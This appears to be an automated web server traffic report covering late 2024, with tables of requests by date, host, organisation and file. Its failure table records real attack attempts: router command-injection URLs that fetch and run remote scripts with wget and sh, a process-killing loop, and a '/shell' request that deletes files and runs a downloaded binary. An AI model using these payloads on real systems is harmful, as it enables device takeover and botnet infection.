Program started at Sun-22-Dec-2024 00:09.
Analysed requests from Mon-23-Sep-2024 00:05 to Sat-21-Dec-2024 23:56 (89.99 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 22-Dec-2024 00:09.
Successful requests: 6,462 (458)
Average successful requests per day: 71 (65)
Successful requests for pages: 6,458 (458)
Average successful requests for pages per day: 71 (65)
Failed requests: 3,126 (269)
Redirected requests: 9,633 (685)
Distinct files requested: 16 (6)
Distinct hosts served: 2,008 (162)
Corrupt logfile lines: 1,101
Unwanted logfile entries: 406,521
Data transferred: 6.22 megabytes (454.19 kilobytes)
Average data transferred per day: 70.76 kilobytes (64.88 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 60 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Sep 2024 | 605 | 604 | |
Oct 2024 | 2174 | 2173 | |
Nov 2024 | 2211 | 2209 | |
Dec 2024 | 1472 | 1472 |
Busiest month: Nov 2024 (2,209 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 15 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
22/Sep/24 | 460 | 460 | |
29/Sep/24 | 520 | 519 | |
6/Oct/24 | 457 | 457 | |
13/Oct/24 | 444 | 444 | |
20/Oct/24 | 515 | 514 | |
27/Oct/24 | 536 | 536 | |
3/Nov/24 | 474 | 474 | |
10/Nov/24 | 566 | 565 | |
17/Nov/24 | 543 | 543 | |
24/Nov/24 | 475 | 474 | |
1/Dec/24 | 511 | 511 | |
8/Dec/24 | 503 | 503 | |
15/Dec/24 | 458 | 458 |
Busiest week: week beginning 10/Nov/24 (565 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 3 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
10/Nov/24 | 65 | 65 | |
11/Nov/24 | 82 | 82 | |
12/Nov/24 | 102 | 102 | |
13/Nov/24 | 99 | 99 | |
14/Nov/24 | 77 | 77 | |
15/Nov/24 | 71 | 70 | |
16/Nov/24 | 70 | 70 | |
17/Nov/24 | 77 | 77 | |
18/Nov/24 | 65 | 65 | |
19/Nov/24 | 81 | 81 | |
20/Nov/24 | 85 | 85 | |
21/Nov/24 | 73 | 73 | |
22/Nov/24 | 76 | 76 | |
23/Nov/24 | 86 | 86 | |
24/Nov/24 | 56 | 56 | |
25/Nov/24 | 72 | 72 | |
26/Nov/24 | 82 | 82 | |
27/Nov/24 | 64 | 63 | |
28/Nov/24 | 54 | 54 | |
29/Nov/24 | 82 | 82 | |
30/Nov/24 | 65 | 65 | |
1/Dec/24 | 60 | 60 | |
2/Dec/24 | 76 | 76 | |
3/Dec/24 | 50 | 50 | |
4/Dec/24 | 86 | 86 | |
5/Dec/24 | 85 | 85 | |
6/Dec/24 | 84 | 84 | |
7/Dec/24 | 70 | 70 | |
8/Dec/24 | 60 | 60 | |
9/Dec/24 | 84 | 84 | |
10/Dec/24 | 79 | 79 | |
11/Dec/24 | 72 | 72 | |
12/Dec/24 | 65 | 65 | |
13/Dec/24 | 85 | 85 | |
14/Dec/24 | 58 | 58 | |
15/Dec/24 | 45 | 45 | |
16/Dec/24 | 63 | 63 | |
17/Dec/24 | 70 | 70 | |
18/Dec/24 | 95 | 95 | |
19/Dec/24 | 60 | 60 | |
20/Dec/24 | 69 | 69 | |
21/Dec/24 | 56 | 56 |
Busiest day: 27/Oct/24 (108 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 25 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 813 | 812 | |
Mon | 963 | 963 | |
Tue | 965 | 965 | |
Wed | 993 | 992 | |
Thu | 915 | 915 | |
Fri | 952 | 950 | |
Sat | 861 | 861 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 8 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 270 | 270 | |
1 | 291 | 291 | |
2 | 281 | 281 | |
3 | 257 | 257 | |
4 | 295 | 295 | |
5 | 265 | 265 | |
6 | 270 | 270 | |
7 | 238 | 238 | |
8 | 282 | 282 | |
9 | 254 | 254 | |
10 | 260 | 260 | |
11 | 239 | 239 | |
12 | 253 | 252 | |
13 | 262 | 262 | |
14 | 301 | 300 | |
15 | 281 | 281 | |
16 | 286 | 286 | |
17 | 259 | 259 | |
18 | 263 | 262 | |
19 | 275 | 275 | |
20 | 253 | 253 | |
21 | 273 | 273 | |
22 | 298 | 297 | |
23 | 256 | 256 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
3298 | 51.29% | [unresolved numerical addresses] |
1549 | 23.82% | .com (Commercial) |
960 | 14.93% | .net (Networks) |
189 | 2.86% | .org (Non Profit Making Organisations) |
104 | 1.53% | [unknown domain] |
69 | 1.11% | .uk (United Kingdom) |
71 | 1.03% | .us (United States) |
49 | 0.76% | .tw (Taiwan) |
36 | 0.55% | .io (British Indian Ocean Territory) |
16 | 0.25% | .it (Italy) |
14 | 0.22% | .br (Brazil) |
12 | 0.18% | .cn (China) |
12 | 0.18% | .ru (Russia) |
10 | 0.16% | .de (Germany) |
9 | 0.14% | .sg (Singapore) |
6 | 0.09% | .jp (Japan) |
6 | 0.09% | .th (Thailand) |
6 | 0.09% | .au (Australia) |
5 | 0.08% | .ir (Iran) |
3 | 0.05% | .fr (France) |
3 | 0.05% | .pl (Poland) |
3 | 0.05% | .edu (USA Higher Education) |
2 | 0.03% | .arpa (Arpanet) |
2 | 0.03% | .co (Colombia) |
2 | 0.03% | .ch (Switzerland) |
2 | 0.03% | [domain not given] |
2 | 0.03% | .tr (Turkey) |
2 | 0.03% | .nz (New Zealand) |
2 | 0.03% | .es (Spain) |
2 | 0.03% | .md (Moldova) |
2 | 0.03% | .ar (Argentina) |
2 | 0.03% | .ua (Ukraine) |
1 | 0.02% | .sh (Saint Helena) |
1 | 0.02% | .il (Israel) |
1 | 0.02% | .ba (Bosnia-Herzegovina) |
1 | 0.02% | .mx (Mexico) |
1 | 0.02% | .ca (Canada) |
1 | 0.02% | .ke (Kenya) |
1 | 0.02% | .se (Sweden) |
1 | 0.02% | .hu (Hungary) |
1 | 0.02% | .pt (Portugal) |
1 | 0.02% | .ec (Ecuador) |
1 | 0.02% | .py (Paraguay) |
1 | 0.02% | .tv (Tuvalu) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
774 | 12.36% | 95 |
530 | 8.11% | 185.191 |
521 | 8.12% | hinet.net |
378 | 5.88% | privatelayer.com |
251 | 3.89% | serveroffer.net |
244 | 3.74% | 149.50 |
210 | 3.27% | group-ib.com |
200 | 3.00% | googleusercontent.com |
136 | 2.12% | 5 |
133 | 2.04% | 185.224 |
114 | 1.84% | showfreevids.com |
105 | 1.61% | criminalip.com |
104 | 1.53% | [unknown domain] |
98 | 1.50% | censys-scanner.com |
97 | 1.43% | linodeusercontent.com |
89 | 1.44% | 178.211 |
89 | 1.34% | 154.213 |
84 | 1.29% | shadowserver.org |
83 | 1.29% | 80.94 |
82 | 1.28% | 46 |
2140 | 32.92% | [not listed: 418 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
128 | 2.00% | 5.8.11.202 |
15 | 0.23% | 46.174.191.28 |
16 | 0.25% | 46.174.191.31 |
22 | 0.34% | 46.174.191.32 |
15 | 0.23% | 80.66.77.235 |
82 | 1.28% | 80.94.93.191 |
33 | 0.51% | 83.97.73.245 |
54 | 0.84% | 92.255.57.58 |
22 | 0.36% | 94.141.120.37 |
95 | 1.54% | 95.214.53.91 |
19 | 0.29% | 95.214.53.202 |
211 | 3.29% | 95.214.53.205 |
14 | 0.21% | 95.214.55.32 |
190 | 3.07% | 95.214.55.43 |
169 | 2.73% | 95.214.55.79 |
68 | 1.10% | 95.214.55.138 |
20 | 0.32% | 141.98.11.15 |
231 | 3.54% | 149.50.103.48 |
34 | 0.52% | 154.213.184.43 |
40 | 0.65% | 154.213.191.23 |
86 | 1.39% | 178.211.139.188 |
253 | 3.87% | 185.191.126.213 |
277 | 4.24% | 185.191.126.248 |
133 | 2.04% | 185.224.128.47 |
32 | 0.50% | 194.50.16.198 |
17 | 0.26% | scanner-06.ch1.censys-scanner.com |
19 | 0.29% | scanner-07.ch1.censys-scanner.com |
17 | 0.26% | scanner-27.ch1.censys-scanner.com |
14 | 0.21% | scanner-203.hk2.censys-scanner.com |
105 | 1.61% | security.criminalip.com |
210 | 3.27% | rnd.group-ib.com |
40 | 0.62% | eletrire.halffail.com |
46 | 0.70% | server-0-2.survey.inspici.com |
32 | 0.46% | 139-144-52-241.ip.linodeusercontent.com |
34 | 0.49% | 172-104-4-17.ip.linodeusercontent.com |
378 | 5.88% | hostedby.privatelayer.com |
15 | 0.24% | showfreevids.com |
17 | 0.27% | movie.showfreevids.com |
17 | 0.27% | tvseries.showfreevids.com |
16 | 0.26% | watch-pacquiao-vs-mosley.showfreevids.com |
18 | 0.29% | www.showfreevids.com |
24 | 0.37% | unused-space.coop.net |
77 | 1.18% | srv-141-98-11-155.serveroffer.net |
38 | 0.61% | srv-141-98-11-178.serveroffer.net |
106 | 1.63% | srv-141-98-11-35.serveroffer.net |
16 | 0.25% | internettl.org |
18 | 0.28% | hostglobal.plus |
54 | 0.87% | play25.chelseafanclub.co.uk |
14 | 0.23% | play23.juventusfcfans.org.uk |
23 | 0.33% | ns1007445.ip-51-81-155.us |
2838 | 43.52% | [not listed: 1,958 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
15 | [not listed: 6 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
6457 | 99.98% | [root directory] |
4 | 0.02% | /icons/ |
1 | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
839 | /x16/x03/x01 |
798 | /cgi-bin/luci/ |
86 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
81 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.31/t|sh%3B`) |
67 | /cgi-bin/luci/?form=country&operation=write&country=id>`wget+http://185.157.247.125/e/t+-O-+|sh%3B` |
65 | /cgi-bin/luci/?form=country&operation=write&country=id>`for+pid+in+/proc/[0-9]*/%3B+do+pid%3D${pid%25/}%3B+pid%3D${pid##*/}%3B+exe_path%3D$(ls+-l+/proc/$pid/exe+2>/dev/null+|+awk+'{print+$NF}')%3B+if+[[+$exe_path+%3D%3D+*/+]]%3B+then+kill+-9+$pid%3B+fi%3B+done%3B` |
18 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.99/t|sh%3B`) |
17 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://45.202.35.24/l+-O-|+sh`) |
12 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.215/t|sh%3B`) |
343 | /x16/x03/x02/x01o/x01 |
133 | * |
122 | /bin/sh |
93 | / |
89 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
72 | /x03 |
62 | /x16/x03/x01/x05/xa8/x01 |
60 | /x16/x03/x01/x02 |
56 | MGLNDD_66.39.90.170_80/n |
53 | /cgi-bin/index.cgi |
48 | /cgi-bin/ |
36 | /shell |
31 | /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws |
20 | /x16/x03/x03/x01/xa5/x01 |
19 | /cgi-bin/hotspotlogin.cgi |
19 | /cgi-bin/authLogin.cgi |
18 | SSH-2.0-Go |
15 | /x16/x03/x01/x01$/x01 |
13 | Gh0st/xad |
13 | /cgi-bin/main-cgi |
11 | /cgi-bin/login.cgi |
11 | google.com:443 |
10 | /x16/x03/x01/x01/x17/x01 |
10 | /cgi-bin/info.cgi |
10 | 12.1.2/n |
8 | www.baidu.com:443 |
8 | /x16/x03/x01/x01/xaa/x01 |
7 | HTTP/1.0 |
7 | /x16/x03/x01/x01/x18/x01 |
105 | [not listed: 43 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
6457 | 99.98% | 21/Dec/24 23:53 | / |
87 | 1.36% | 21/Dec/24 03:25 | /?XDEBUG_SESSION_START=phpstorm |
12 | 0.19% | 18/Dec/24 15:05 | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
11 | 0.17% | 18/Dec/24 15:05 | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
5 | 0.02% | 27/Nov/24 18:37 | [not listed: 2 files] |